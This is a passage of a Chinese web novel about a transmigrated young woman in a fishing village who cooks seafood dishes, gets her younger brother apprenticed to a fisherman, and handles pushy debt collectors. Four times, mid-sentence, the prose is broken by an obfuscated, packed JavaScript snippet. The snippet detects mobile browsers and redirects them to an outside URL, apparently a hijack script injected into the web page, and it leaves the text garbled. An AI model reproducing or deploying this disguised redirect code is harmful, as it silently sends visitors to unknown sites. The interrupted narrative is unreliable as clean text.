她用勺子舀起一点成品,蚝油淅淅沥沥地流淌下来,拉丝不断,这浓稠度可谓是恰到好处。 浅尝一口,咸甜相交的独特风味在舌尖绽放,咂咂嘴,海蛎的鲜美萦绕在齿间,回味无穷。 云楚沅从后院摘了把生菜,开始做今日的晚饭。 油热下蒜,焯过水的生菜入锅,勺取蚝油,沿锅边淋下,红棕色的浓稠酱汁宛若淌金泻玉,遇热晕开,渗透进翠绿的菜叶之中,化作醇厚鲜甜之味。 添酱油和水,用木铲轻搅,汤汁沸腾,再用淀粉水勾芡,使每一片生菜皆裹上浓稠酱汁。 出锅装盘,生菜特意用筷子一根根叠放,翠色欲滴,再淋上裹着蒜末的汤汁,色泽油亮。 云楚沅从院子里的水缸捞出一网兜大虾,准备用新熬好的蚝油做道油焖大虾。 灶房里的云楚清忍不住用筷子偷夹了一根菜叶,眯着眼细嚼慢咽。 “小馋猫,味道如何?”一进门的云楚沅就看到她陶醉的表情,忍俊不禁地调侃道。 “嘿嘿,阿姐的手艺自是不必说,我没想到青菜也能如此好吃。”云楚清用指尖擦去嘴角的酱汁,塞进嘴里。 “啧,别吃手指。”云楚沅拍开她的手,“手上不干净,以后饭前都要净手。” “我晓得了,阿姐。”云楚清缩了缩肩膀,跑到院子里去打水了。 新油在锅中轻晃,泛起层层波纹,云楚沅将壳硬肉实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716724|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大虾逐一投入热油之中,木铲轻翻,淋上调好的酱汁,大火收汁,直至汤汁浓稠挂壳,蚝油的加入使其变得红亮。 “清儿,走,我们去接楚河去。”云楚沅站在灶房门口端着一碗油焖虾,朝着云楚清唤道。 “阿姐,这碗虾是给谁的?春香姐吗?” 云楚沅点了点她的鼻子,说:“只惦记着你春香姐,那阿汤哥不必答谢了吗?” 云楚清吐了吐舌头,羞赧道:“自是要谢的。” 云楚沅一手端着虾,一手牵着小妹,有意地走向村里小孩常常玩耍的海滩处。 离着老远,云楚沅就看到刘家三兄弟正在揪一位小女孩的头发,都快将人欺负哭了。 一股鲜香咸甜的酱香味随风飘了过去。 “哇,什么味道?好香啊!”刘二海大声嚷嚷着,鼻子到处嗅闻。 “是她手里的东西!”刘大海很快发现了走过来的云楚沅,带着两个弟弟围了过去。 “是大虾,我要吃!我要吃!”眼尖的刘三海兴奋地叫道,用手扯着云楚沅的衣裙,蹦跳着去抓她手里的碗。 云楚沅直接无视了他们,屁股一扭,将三个小屁孩甩开。 她厌恶地看了眼裙摆上的黑手印,这几个顽童当真是惹人厌烦。 刘三海一时没站稳,摔了个屁股墩,他愣了一下,随即嚎啕大哭起来,“哇,我要吃虾!我要吃虾!臭女人,你不给我,我就叫我娘打死你!” 云楚沅始终没给他一个眼神,反而笑意盈盈地给了旁边的小女孩一只虾,“吓坏了吧,给你吃。” 女孩怯怯地接了过去,小声道:“谢谢云姐姐。” 云楚沅帮她整理了一下发髻,笑着说:“乖,去别处玩吧。” 女孩腼腆一笑,转身跑走了。 “哎呦,哪个天杀的欺负我的宝贝儿子!”一阵嚎叫声从远处传来。 云楚沅闻声望去,痴肥臃肿的妇人一颠一颠地奔了过来,搂住地上的刘三海。 “娘,这个臭娘们欺负我!”刘三海指向云楚沅。 刘母怒目圆瞪,大喊大叫:“好你个云楚沅,你娘死了,轮到你和我们家作对了?呸,我告诉你,赶紧给我儿子磕头赔罪,不然我扒了你的皮!” 周围听到嚷嚷声的村民靠了过来,显然是来瞧热闹的。 云楚沅一脸懵懂地问:“三海,你倒说说我怎么欺负你了?” 刘三海一见有人为他撑腰,双手掐腰,趾高气昂道:“你不给我吃虾!” 云楚沅轻笑出声:“噗嗤,刘婶,你们家拮据到如此地步了吗?要叫儿子出来讨食?若当真如此,您和村里人说一声,大伙儿一人施舍你家一顿饭,也好叫你养的起三个儿子。” 村民们顿时捧腹大笑。 “哈哈哈,老刘家的,家里揭不开锅跟我说,我家臭鱼烂虾多的是。” “是呀,你自己吃的这么肥,不管儿子呀?他们三个不是你的宝贝疙瘩吗?” 村里和刘婶不对付的人,立马奚落道。 刘婶面色铁青地拽了小儿子一把,“吃吃吃,就知道吃!我是短了你吃的吗?你非要向外人讨?” 在众人的嘲笑声中,刘家人灰溜溜地走了。 8. 小弟拜师 云楚河跟在阿汤的身后,从一条木船上下来,两人正提着一大网兜的毛虾往篓子里倾倒。 “阿汤哥,我都听清儿说了,多谢你对他们两个的关照。”云楚沅走上前说道,“这是我自己做的油焖大虾,你拿回去尝尝。” 阿汤有些不知所措,他已经很久没和村里的女郎说过话了,“不……不用。” 云楚河瞧着小妹不停地朝他使眼色,就知道他们和刘家兄弟有过节这事,阿姐已经知道了。 他觑了一眼云楚沅的脸色,讨好地冲她笑笑。 这事不想叫阿姐知晓,就是怕她担忧,他们云家在小渔村势单力薄,还是不要轻易得罪人为好。 而且他也不会吃亏,刘家三个小胖子哪里是他的对手,和他们打架,他专往别人看不见的地方下手狠掐。 云楚沅对云楚河嬉皮笑脸的样子视若无睹,这小子就会卖乖讨巧,得给他摆点脸色瞧瞧。 楚河和楚清两兄妹要是有个好歹,她会愧对已逝的云家人的。 云楚河见云楚沅不理自己,晓得阿姐这是恼他了,他凑上去轻轻摇晃云楚沅的手腕,“阿姐,我错了。” “回去再跟你算账。”云楚沅低头瞪了他一眼,又挂上笑容看向阿汤。 “阿汤哥,这皮小子跟你出海没少给你麻烦,这碗虾你就收下吧。而且我还有别的事儿想要麻烦你呢,你要是不收下,我都不好意思开口。” 她话都说到这个份上了,阿汤只好接了过去。 “有……何事?” 阿汤有些意外,竟有人想请他帮忙,毕竟村民们都对他避之不及,他估摸着云家女郎是要拜托他照看楚河吧。 那日听到刘家小子对云楚河的辱骂,一下子就让他回想起儿时的遭遇,别人嘲讽他是天煞孤星,他忍无可忍便动手了,结果就被人家爹娘收拾了一顿。 自那时起,他学会了收敛锋芒,只因孤子是没有话语权的,没有人在意他是否受欺负,也不会有人为他出头。 云楚河让他动了恻隐之心,遂对他多有照拂,甚至教他打渔之道,私下里这小子还会称他一声师傅,不过他没有应。 拜师这等大事需长辈的准许,云楚河终归还有一位长姐,人家不一定待见他这孑然一身之人。 “阿汤哥,我家承包了村里的废鱼塘,恰巧你就住在附近,我想雇你帮我清理一下,你放心,银钱不会少的。” 废鱼塘位于靠近山脚的地方,阿汤的家在村尾,正好离得近。 云楚沅养殖计划的第一步自然是要将鱼塘收拾干净,废鱼塘的水干涸了,但底下还有许多淤泥和腐物,她这细胳膊细腿的,委实干不来这等粗活,倒不如直接雇人来干。 踏实肯干还又话少的阿汤哥显然是不二人选。 倘若找村里其他人,定要被问东问西,她还记着上次钱婶说的话,不少妇人盯着她呢,若是她们跑来打听搞养殖的事,云楚沅实在懒得应付。 阿汤略一思索便应下了,清理鱼塘不是难事,只是费些力气罢了,他用过晚膳也没事做,两三日就能帮她弄干净。 云楚沅再次道谢,带着两个孩子离去,云楚河的篓子里装了满满的毛虾,阿汤哥还想再给他提一篓,被云楚沅婉拒了。 “错哪了?” 云家小院里,云楚沅双手抱在胸前,严肃地询问站在墙角的人。 “我不该和人打架。”云楚河双臂贴在身侧,昂着头一本正经地说道。 “不对,你错在遇到麻烦只想着自己担着,不告诉家里人,还把我蒙在鼓里!”云楚沅气愤道,“我们是一家人,有什么事应当一起解决。” 云楚河嘴角动了动,反驳的话刚想说出口。 “你觉得自己长大了,长姐管不了你了是吗?”云楚沅故意沉下脸。 “没有,我不是这个意思!”云楚河攥紧手心,一脸倔强,“我是男子汉,不是乳臭未干的小毛孩,该轮到我来保护你和小妹了。” 面前的男孩如初生的牛犊一般无所畏惧,他嘴唇紧抿,眉头紧皱,直勾勾地与云楚沅对视着,眼神里满是坚定。 云楚沅一时沉默了下来,也许她不该小觑一个孩子的决心和责任心。 双亲逝世,令他快速成长,他比谁都通透,懂得别人话中的冷嘲热讽,也明白自己该做什么。 这几日,小弟的早出晚归,她都看在眼里,为了学本事他在背地里吃了不少苦,云楚沅注意到,他的手上已经磨出了茧子。 也许,此刻的他需要的不是批评,而是来自家人的认可。 云楚沅脸色缓和,轻轻搂住这半点大的孩子,柔声说道:“是阿姐不好,我说错话了,楚河是最懂事的孩子。” 掌心触到的瘦弱肩膀微微颤抖起来,云楚沅用手轻拍着他的后背,无声安抚着。 过了一会,哽咽的声音从怀里传来,“阿姐没错,让你担忧本就是我的不是。” 云楚沅哭笑不得地说:“好好好,我们都有错。楚河,阿姐理解你,只是我想告诉你一个道理,想要教训人,不是非要用拳头。” “阿姐的意思是?”云楚河抹了把脸,迟疑地看向她。 云楚沅意味深长道:“还记得舅母的事吗?她那般折辱我,我还不是忍了一时,谋后而定。” “她是我的长辈,天然就压我一头,倘若我与她大打出手,有理也变得没理。有时候示弱不是惧怕的表现,而是以退为进。”云楚沅提点了两句。 云楚河若有所思,阿姐说的不无道理,他动手打人只会逞一时之快,若是刘家人事后找上门来,阿姐这柔弱的身子哪能扛得住。 “阿姐,是我考虑不周了。”云楚河惭愧地低下了头。 云楚沅揉了揉他的脑袋,叮嘱道:“以后不可莽撞行事,俗话说得好,君子报仇,十年不晚。你想对付人可以另想他法,不要留下把柄,更不要将自己置于险地。” 云楚河郑重地点头:“阿姐,我记下了,以后对付小人就要用小人的阴招,以彼之道,还施彼身。” 云楚沅噎了一下,尴尬地笑笑,弟弟,干嘛说的这么难听,那是策略!策略好吗! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716725|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时的云楚沅还不清楚,在耳濡目染下,她家天真的小弟以后会长成城府颇深的笑面虎,逢人便说,是他阿姐教诲的。 “对了阿姐,还有一事。我想拜阿汤哥为师,他要我先征得你的同意。”云楚河提起了另一桩事。 云楚沅颇感意外:“真的?你确定要拜阿汤为师吗?一日为师,终生为父。阿汤没有子嗣,以后说不准日后要你养老送终,你要考虑清楚。” “我想清楚了,阿汤哥对我倾囊相授,他虽是自学的捕捞,可丝毫不逊色于村里经验丰富的老手。” 云楚河并非一时兴起,他认真想过了,他们云家没有壮男丁,出了事也没人帮扶,不若认门干亲或拜个师傅,可以当做正儿八经的亲戚来往。 外冷内热、孤身一人的阿汤乃最佳人选,云楚河也不是成心算计人家,既要拜师,那必然是诚心诚意的,他以后会孝敬师傅的。 “既如此,那便依你,待阿汤为我清理完鱼塘后闲下来,我请他来我们家吃顿拜师宴,再请村长一起来做个见证。” 一晃两日过去。 云楚沅在灶间忙碌,手上动作不停,今日便是楚河行拜师礼的日子,她在准备丰盛的午膳。 海鲜大杂烩已经上桌,青菜和粉丝打底,铺上梭子蟹、大虾、花蛤等海鲜,用蒜蓉、酱油、蚝油、盐和糖调配灵魂酱汁,一锅炖煮起来省时省力。 晒干的虾皮派上了用处,虾皮煎豆腐和紫菜虾皮馄饨是即将登场的重头戏。 切成厚片的嫩豆腐裹上蛋液,沾满虾皮后小火慢煎。 薄薄的馄饨皮包入鲜肉馅,用手轻轻一捏,一只只小巧玲珑的馄饨便成型了。 锅中烧水,下入馄饨,不一会儿,它们便在水中翻腾着漂浮起来。 碗底放入干紫菜、干虾皮、酱油、蚝油、猪油、盐和葱花,一勺馄饨汤倒进去,所有调料皆化开,盛上小馄饨,就可以端出去了。 村长和阿汤已经坐在了桌边,楚河和楚清一个盛饭,一个取碗筷。 “二位久等了,咱们开吃吧。”云楚沅笑呵呵地招呼着客人动筷。 “楚沅啊,你的手艺是这个。”村长将所有菜尝了个遍,对着云楚沅竖起了大拇指。 早听闻云楚沅在县里卖吃食,可村长也想不到她做得这般好吃,简单的食材吃出了山珍海味的感觉。 村长心里欣慰,楚沅是个有本事的,云家也算是有出路了。 旁边的阿汤没说话,不停下筷的动作倒是能看出他对这顿饭也是很满意。 午膳过后,云楚河在村长的见证下给阿汤磕了个响头,云楚沅递上了两大桶鱼虾和一壶好酒。 他们渔民没那么多讲究,无需贵重的拜师礼,过得去便可。 “于汤,你和楚河既有这段师徒缘分,那便好生待他,这也算是半个儿子了。”村长语重心长道。 于汤点点头,将云楚河扶了起来,难得多说了两句,“楚河,我会待你视如己出,有困难尽管来找我。” 云楚沅心里头很高兴,小弟也算是多了一份倚仗。 9. 催债 鱼塘清理干净后,阿汤哥帮忙重新修缮了一番,将其用石料和土料分隔成四个区域,还在底部做了加固,避免池塘往外渗水。 浮萍、水草、藻类等水生植物,不仅能提供食物,还能改善水质,云楚沅把出海捕捞时抓到的鱼、虾、蟹、贝全都投入其中。 云楚沅将谷物、糟糠磨成细末,每日少量多次地投喂鱼虾们,楚河偶尔会抓些鱼虫、水蚤等活饵为它们加餐。 云楚河跟着阿汤出海了,云楚沅和小妹一起来鱼塘投喂饲料。 “阿姐,这条鱼模样真奇特。” 云楚清指着的是一条鮟鱇鱼,它长得奇丑无比,头顶挂着一个小灯笼。 鮟鱇鱼生活在深海,这次云楚沅出海远了些,意外捞到了一只,带回来让两个孩子见识见识。 “等楚河回来,我就把这鱼做了给你们吃。” “这么丑的鱼能好吃吗?”云楚清的脸上露出了嫌弃的表情。 “哼,既然你不喜欢,那阿姐就只做给楚河吃好了。”云楚沅慢条斯理道。 “啊,我不要,阿姐做什么都好吃!”云楚清冲着她撒娇。 云楚沅牵着小妹的手,有说有笑地走在回家的路上,隔着老远,就听见家门口传来一阵嘈杂声。 “开门呐!开门呐!你有钱修鱼塘,没钱还债吗?” 簇拥在云家门口的是林家人,他们家是小渔村的富户,为首之人是林家大儿媳钟兰花。 林家人丁兴旺,老太太总共生了五个儿子,各个都是打渔好手,他们家有两条大渔船,每回父子六人一同出海,都能赚笔大钱。 “兰花嫂子,你找我有什么事吗?”云楚沅快步走近,满脸疑惑地问道。 横眉冷竖的钟兰花咄咄逼人:“云楚沅,听说你卖吃食赚了不少钱,都有银子请人修船、修鱼塘了,怎么不见你还债呢?” 云楚沅这才明白林家人的来意,云家欠债的大头就是林家,足足欠了上百两银子,云楚沅手里不过刚攒下几十两银子,一时半会也还不清。 两道不怀好意的视线直直望向她,站在兰花嫂子身后的两名妇女拿眼斜着云楚沅。 “云楚沅,我可亲眼瞧见你的小摊子每日都有络绎不绝的人光顾。”林四嫂率先发难。 “村尾的阿汤给你修鱼塘不图钱图什么?莫非你二人有不可告人的关系?”林三嫂讥笑地打量着云楚沅。 林三嫂和林四嫂,一个混不吝的,一个好吃懒做,仗着家里不愁吃穿,整日不干活,和村里的长舌妇们聚在一起唠嗑,说东家长西家短,近日她们说得最多的闲话,就是和云家有关的事。 云楚沅恨不得撕了林三嫂的嘴,这婆娘不知道流言害人吗?子虚乌有的事,张口就来,这般恶意揣测,居心何在! “几位嫂子,你们误会了,阿汤哥是我家楚河的师傅,帮我们清理鱼塘是看在徒弟的面子上,可不图什么东西。”云楚沅压下火气,好声好气地解释。 “再者,我卖海鲜面就赚几文钱,我一个女儿家不会捕捞,海鲜都要问别家买,这成本高了自然赚不了多少银钱。”云楚沅可怜兮兮地说道,“更何况我还有两个弟弟妹妹要养活,实在是手头紧。” 她每次出海都会避着村民们,篓子也盖得严严实实,就怕她的特殊体质被有心之人发现,心生歹念。 “林家是咱们乡里出了名的良善人家,我想着你们会体谅我的做法的。”云楚沅不动声色地奉承着林家人,兰花嫂子的脸色肉眼可见地缓和下来。 “切,说得好听,那你还谁家的钱了?”林三嫂不依不饶。 她可不像大嫂那般好糊弄,总有人想从她手里抠银子,这种鬼话她听多了,自然不会被打动。 林四嫂附和道:“就是呀,要是人人都这么说,岂不是都不用还钱了?这不是把我们林家当冤大头吗?” 兰花嫂子听着两个弟妹的话,觉得很有道理,不禁眼神怀疑地看向云楚沅。 云楚沅淡定开口:“我先还了小周大夫的欠钱,他家母亲重病了,我自然要先还上他的欠债。” 小周大夫和寡母相依为命,他腿脚不好,做不了重活,只能从他爹的旧书上学了点草药知识,为村民医治些小伤小病,靠微薄的诊费来度日。 “口说无凭,谁知道你说的是真是假?”林四嫂不服气地嘟囔。 “林四嫂,你要是不信,可以现在去问问小周大夫,我人就在这,也没法和他串通。”云楚沅镇定自若地说道。 她没扯谎,前几日云楚河感染小风寒,她去找周大夫拿了副药,顺便还了二两银子。 兰花嫂子见她如此笃定,便信了七八分,待她们一同前去跟小周大夫确认过后,兰花嫂子彻底放下了心。 “楚沅啊,是嫂子误会了,只要你不是想赖账,我自是愿意宽限你一段时日,你一个女子养家也不容易。” 兰花嫂子抚着云楚沅白皙的手,慷慨解囊,“这样吧,楚沅,你还欠其他人多少钱?嫂子先帮你还上,以后你专心做生意,有钱了再还我,我们林家不差这点银子。” 云楚沅柳眉一挑,哇哦,没想到还有意外收获? 原本她还在纠结是先还欠债,还是先盘下一间铺子,这下好了,打瞌睡有人送枕头。 虱多不痒,债多不愁,既然林家不急着收债,那她手里的银子就可以用来开食肆了。 “兰花嫂子,怪不得旁人都夸你人美心善呢,你就是我的亲姊啊!妹妹有难,你是真帮啊!”云楚沅感动不已,热泪盈眶,用力紧握住钟兰花的手,上下摇晃。 钟兰花被她的甜言蜜语哄的找不着北,从荷包里掏出二十两银子,“妹子,你先拿着,不够再去我家问我要。” “兰花姐,你的大恩大德,妹妹无以为报呀,以后用得到我的地方,尽管开口。”云楚沅一点也不客气地收下了银子,拍着胸脯做出保证。 这承诺能不能兑现还是两说,但云楚沅摆出的态度叫钟兰花很是满意,“就冲你这句话,你这妹子我就认定了。走!上姐家吃饭去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716726|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 没两句话的功夫,云楚沅和钟兰花就像是相见恨晚一样,一口一个姊姊妹妹,亲热相称。 站在一旁的林三嫂和林四嫂傻眼了,就因为她们大嫂耳根子软,才被她俩撺掇着来找云楚沅要债,她们还想着收了债能分点银子花花呢。 这下好了,偷鸡不成蚀把米,银子没要到,还要搭进去二十两。 林三嫂颤颤巍巍地说:“嫂子,咱家的银子又不是大风刮来的,怎能如此轻易就借出去了?” 云楚沅眉眼带笑,轻启红唇:“林三嫂,前两日我还瞧见你带儿子去县里的湘香馆,点了一大桌子的招牌菜呢,想必是看不上这区区二十两。” 还没等钟兰花有什么反应,林四嫂就先怒不可遏,“什么?你哪来的钱去湘香馆?我都没去吃过!你真行,有好事的时候不叫我,诓大嫂来要债你倒是叫上我来了。” 林四嫂肺都要气炸了,林家小弟没娶妻,小妹尚待字闺中,所以他们还没分家,林家中馈由老太太和大嫂共同掌管。 她们其他房的媳妇想取银子,得要婆婆和大嫂的点头,二嫂是县城人,家境殷实,自然不在意这些,可她和老三家的就很憋屈,成日都得看婆婆和大嫂的脸色行事。 这次催债的主意是三嫂提起的,她顺势而为,没成想,老三家的心眼这么多,背地里胡吃海喝,办事时反而唆使她先出头。 “三嫂,你不仁就别怪我不义!”林四嫂气得脸色涨红,她对钟兰花说道:“大嫂,上次你丢的一两银子就是让老三家的偷走的。” 林三嫂脸色难看,她没想到四弟妹这么蠢,直接破罐子破摔将她的事抖落出来,既如此,也别怪她不客气了。 “四弟妹,说的像你没拿似的,你瞧见了也没告诉大嫂,反倒勒索了半两银子去,你与我半斤八两。” 林三嫂再次揭了她的老底,“上次厨房少的鸡腿,就是你偷吃的,还推到你女儿头上,当真是不要脸。” 两人宛如泼妇骂街一般,互相说起了对方的糗事。 钟兰花脸色难看,她没想到这两个弟妹如此不将她放在眼里,背后搞出这么多小动作,看来不给她们俩一个教训是不行了。 “行了,我看你们是日子过得太舒坦了,才会折腾出这么些幺蛾子。我会回家把这些事说与母亲听的,以后直至分家,你们两房就不必每月找我领银子了。”钟兰花一锤定音。 林三嫂和林四嫂像是被掐住脖子的鸭子,脸色灰败,骤然停止了叽叽喳喳的吵闹声。 林老太太平日里就很不满意这两个儿媳,经常挑她们的刺,林家儿子又非常孝顺,不会忤逆老娘,老太太不顺心了、数落儿媳,他们屁都不会放一个。 相反,钟兰花是林老太太亲自挑的大儿媳,还是她娘家的远方亲戚,婆媳关系那是相当好,钟兰花在林家算是说一不二。 “云妹子,对不住了,我还有家事要处理,先行一步了,改日再请你到家里做客。”钟兰花说完,提溜着两个弟妹的耳朵离开了。 10. 酱烧鮟鱇鱼 云楚沅用鱼塘搞养殖一事,经过林三嫂和林四嫂的大肆宣扬,搞得小渔村人尽皆知。 村民们纷纷前去围观,又碍于门神似的阿汤的冷脸,都不敢靠太近。 他们已经从林家人的口中得知,阿汤收了云楚河做徒弟,于汤这小子能一个人摸爬滚打地长大,可不是个善茬。 不少渔民都见过几年前阿汤在海上智斗鲛鲨的场景,印象深刻。 那时的阿汤宛如凶神恶煞的厉鬼,一边用双脚稳住木船,避免被鲛鲨掀翻,一边用鱼叉狠狠刺入鲛鲨的身躯,一人一鲨的激战惊心动魄。 最后,阿汤以满身的深可见骨的伤痕,换来了胜利,远处小心观望的同村人,见鲛鲨死了,才敢过去将重伤昏迷的阿汤救下。 自那时起,村里便没有人敢找阿汤麻烦,大家见了他都绕道走。 如今阿汤常挂在腰间的匕首,就是用当年杀死的那只鲛鲨的皮做成的刀鞘。 “师傅,这些鱼都收拾好了,我先回家了。” 云楚河甩了甩手上的血水,他每日跟着阿汤捕捞回来后,会帮着卸货,再学学宰杀活鱼的技巧。 用钝器敲击鱼头将其敲晕,再用刀锋逆向刮去鱼鳞,挖去鱼鳃,划开鱼肚去内脏时要避免弄破鱼胆。 学了几日后,他的刀工已经十分精湛,以后阿姐做海鲜时,他也能为她打下手了。 “楚河,这两条鱼你拿回去吧,叫你长姐给你做鱼汤补补。”阿汤挑了两条最大的黄花鱼,递给云楚河。 云楚河接过后,欢天喜地地跑走了,心想,这师傅拜得太值了! “阿姐!阿姐,我回来啦!” 在灶房生火的云楚沅,老远就听见了自家小弟的大嗓门,她摇头失笑,这孩子总是这样风风火火的,也不知又碰上什么好事了。 “阿姐,瞧我带回了什么。”云楚河蹭的一下跨过厨房门槛,扬了扬手里提着的用草绳系起来的两条肥鱼。 “哟,这大黄花鱼是你捞来的?”云楚沅伸手接过鱼,掂量了一下,嘿,忒沉。 云楚河嘿嘿笑道:“是我和师傅一起捞的。” 云楚沅翻了个白眼:“少来了,就你这点小力气,顶多也就帮你师傅扯扯渔网。” 云楚河不服气地撸起袖子,大声说道:“阿姐,我胳膊上的肉可是紧实了许多。” “我瞧着也没二两肉,你有没有变壮我不知道,但你倒是黑了不少。”云楚沅调笑道。 “哼!”云楚河撅着嘴放下袖子,“师傅说要你给我补补身子呢,肯定是我平日里吃的不够多。” 他回忆起阿姐的好厨艺,殷勤地开口:“阿姐,今日晚膳做什么好吃的?我要多吃两碗。” 云楚沅端起桌上的木盆叫他朝里面看。 云楚河好奇地探头,瞧清后又吓得后退两步,“这是什么怪物!” “小弟,你不是扬言要吃两大碗吗?见了它的真容,还有胃口吗?”云楚沅促狭一笑。 云楚河脸色纠结,最终还是决定选择相信阿姐的手艺,“我要吃!不过这鱼的脑袋上是什么东西?”他用手拨了拨鮟鱇鱼头上的小灯笼。 “这个小灯笼能发光,是鮟鱇鱼用来吸引海里的小鱼的,引诱它们上当,再吃掉它们。”云楚沅把鱼放置到案板上,准备处理它。 云楚河自告奋勇:“阿姐,让我来处理这条丑鱼。” “把它的牙齿剪掉,清除内脏时留下鱼肝和鱼肚,这两样是精华。”云楚沅在一旁指导。 面色严肃的云楚河仿佛要完成一件大事,他磨刀霍霍,剪开鱼皮,开膛破肚,剔除内脏,手上动作一气呵成,看得云楚沅眼花撩乱。 “不错嘛,小弟学有所成呀。” 云楚河一脸骄傲地仰起头,“阿姐,以后你做鱼,我来帮你杀。” “好,你先出去和清儿玩一会吧,阿姐给你们做酱烧鮟鱇鱼,保准你吃了香到吞舌头。” 云楚沅将鱼肉切成块,加姜片焯水去腥,冷水将其冲洗沥干。 待锅中的油温升高,云楚沅将剁好的鱼块小心翼翼地放入锅中。鱼肉与热油碰撞,发出“嗞啦滋啦”的声响,鱼身渐渐变成金黄,散发出诱人的香味。 这时,云楚沅将提前备好的葱段、姜片、蒜瓣倒入锅中,让它们辛辣的气味在热油中释放出来,和鱼肉的鲜香交织在一起,发生奇妙的反应。 云楚沅舀两勺黄豆酱放入陶碗中,加入酱油和豉汁用来增鲜上色,再添少许黄酒去腥,把所有醇厚的调味料搅和均匀,缓缓倒入锅中。 刹那间,一股酱香弥漫开来,浓郁的汤汁包裹着鮟鱇鱼,仿佛为鱼肉块披上了一层深色外衣。 小火慢炖,让鮟鱇鱼充分吸收酱汁的浓郁味道,使每一丝鱼肉都浸透进汤汁。在此期间,云楚沅会不停地翻动鱼块,确保其受热均匀,彻底入味。 随着时间的流逝,锅中的汤汁渐渐变得浓稠,紧紧地吸附在鱼肉上,透出油亮诱人的光泽。临出锅前,撒上一把翠绿的葱花点缀,为这道美味佳肴收个尾。 “小弟,小妹,开饭了!” 灶房传出一道嗓音轻柔的吆喝声,云楚清赶紧收起针线,云楚河一把丢开劈柴的斧头,两人动作整齐划一地奔向水缸前,打水洗手。 “哟,你们两个还挺自觉。”走出来的云楚沅瞧见两人乖乖听话,严格遵循饭前洗手的规矩,心里十分欣慰。 穿越到这个小渔村,云楚沅觉得最幸运的事,莫过于多了两个懂事贴心的弟弟妹妹。 她在现代时是家里最小的孩子,向来是被照顾的那个,鲜少有需要她照顾别人的时候,如今也算是体验了一把当家做主的感觉。 想到穿越前的家庭,云楚沅情绪有些失落,这段时日的忙碌,让她刻意回避了一个问题。 她在现代的身体应该是一命呜呼,老天眷顾她,让她有了重活一世的机会,只不过怕是要让家人伤心难过了。 唉,希望父母一切安康,只能靠哥哥姐姐们替她尽孝心了。 “阿姐,你怎么了?”云楚河正等着阿姐先动筷,一下子注意到长姐不太对劲,仿佛有什么伤心事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716727|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云楚沅勉强笑了笑:“没什么,刚才有沙子吹进眼里了,快吃吧。” 云楚河不明所以地挠了挠头,咱们家不是离海滩有段距离吗?今儿个也没有大风,沙子都能吹到这儿来了吗? 想不出所以然,他的心思又放到桌上的吃食上了。 这道酱烧鮟鱇鱼,色泽红亮,酱香扑鼻。 云楚河夹起一块鱼肉放入口中,细细品尝,鮟鱇鱼的肉紧实而不柴,入口即化,酱汁的浓郁与鱼肉的鲜甜巧妙融合,仿佛在舌尖上放了一场盛大的味觉烟花。 大海的馈赠与绝佳的手艺完美结合,在这一口之中达到了极致。 “这鮟鱇鱼长得丑,味道却很不错。”云楚清吃得欢快,已然对它的外貌释怀了。 云楚河赞同道:“人不可貌相,鱼也是。” 云楚沅对他们俩这副有奶就是娘的样子忍俊不禁,不是他们嫌弃的时候了。 “鮟鱇鱼的鱼肚和鱼肝也很好吃,你们尝尝。”云楚沅给他们一人夹了一块,鱼肚有嚼劲,鱼肝细腻鲜美,这两样东西的营养价值也很高。 “楚河,你不是想补一补吗?多吃些鱼肚和鱼肝。” 云楚河一听,赶紧多夹了两块,他想长成阿汤师傅那样,有一身黝黑的腱子肉,看起来就身强体壮的。 用过晚饭后,云楚清回到屋里绣起了手帕,云楚河一溜烟跑出了家门,不知干什么去了。 云楚沅闲来无事,决定将那两条杀好的大黄花鱼腌起来,毕竟一时半会吃不完,放坏了就不好了。 黄花鱼的鱼身和腹腔都涂抹上粗盐,肉厚的鱼背处需要充分覆盖,将其悬挂于通风的阴凉处,晾个两三天就差不多能腌好。 晚间入睡前,云楚沅坐在桌前,点着蜡烛,仔细数着存放在瓦罐里的银子,总共五十二两,想要盘下县城里的一间店铺,绰绰有余。 如今,他们家的欠债都在林家身上,共计一百五十两,待开了食肆之后,她有信心能尽快还上。 